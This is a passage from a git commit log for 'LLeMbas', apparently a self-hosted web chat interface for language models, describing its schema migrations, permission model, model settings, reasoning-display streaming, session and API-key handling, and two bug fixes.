ALTER TABLE ... ADD COLUMN for what is missing, deriving a backfill
default from the column type (SQLite refuses a NOT NULL column without
one, and a Python-side `default=dict` cannot be expressed in DDL).
Verified against a copy of the live database: eight changes applied, all
rows preserved, second run a no-op. Renames, drops and retypes are still
manual and say so.

**Permissions.** A flat set of named booleans: an instance baseline
widened by each group the user belongs to. A group grants and never
denies -- with denies, "why can this user not do X" cannot be answered
without simulating every group. Admins bypass entirely, because an admin
can grant it back to themselves in two clicks and pretending otherwise
is theatre. Model *access* is separate: public, or granted to groups.
The picker is not the boundary -- switching a chat to a model you cannot
reach is a 403.

**Model settings.** Ordering, pinned-first, an instance default and a
per-user default, display names, descriptions, capability flags, and
uploaded images. Images are stored and served locally rather than by
URL: a remote URL makes every page render a request to a third party.
Uploads are validated by magic number, not the declared content type,
and stored under a random name. Models with no image get a generated
initial whose hue is derived from the model id, so it is stable.

**Reasoning display.** Streams into its own collapsible block above the
answer, labelled "Thought for 14 seconds", collapsed once finished, and
never replayed as context on the next turn. Two sources: the
reasoning_content delta field, and <think> tags inline in content -- the
latter needs a streaming splitter because the tags arrive split across
chunks. Models emitting no reasoning show nothing, via a :has() rule
rather than JavaScript. Verified against qwen35-9b on llama-swap: 694
reasoning events, 52 answer tokens, cleanly separated.

Two bugs found and fixed while testing:

- A bare `Mapped[list]` relationship is treated by SQLAlchemy as a scalar
  and returns None instead of []. It needs the element type.
- FastAPI substitutes the default for an empty form value, so with
  `x: str | None = Form(None)` a submitted `x=` is indistinguishable from
  an absent field. That silently broke clearing a system prompt or a
  temperature. update_chat now reads the raw form and checks key presence.

143 tests, ruff clean.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 11:49:32 +02:00
Jaroslav Beneš 5ef2af6a9f Scaffold project, data model and artwork
Establish the LLeMbas foundation: FastAPI/Jinja/SQLite layout, the ORM
schema, and the original SVG identity.

Notable decisions, all recorded in comments at the point they matter:

- No Alembic. SQLite only, schema created at startup, so models carry a
  few columns nothing reads yet (Message.parent_id for branching,
  content_parts_json for multimodal turns). Adding them later to a live
  database without migrations is the painful path.
- Sessions are server-side rows keyed by a SHA-256 of the cookie value,
  not JWTs, so logout and bans revoke access immediately.
- Upstream API keys are Fernet-encrypted with a key derived from
  LEMBAS_SECRET_KEY. decrypt() fails soft to "" so rotating the secret
  degrades to re-entering keys rather than crashing the admin UI.
- Artwork is generated by scripts/build_artwork.py rather than hand-drawn
  per file: the mallorn leaf appears in the icon, favicon, lockup and
  banner, and one source is the only way those stay in sync. The wordmark
  is Source Serif 4 (OFL) converted to outlines, because a README banner
  cannot load a webfont and <text> would render in whatever serif the
  viewer happens to have.
- Icons live in a template partial, not assets/, because same-document
  <use href="#id"> is universally supported and the cross-document form
  is not.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-07-21 10:34:48 +02:00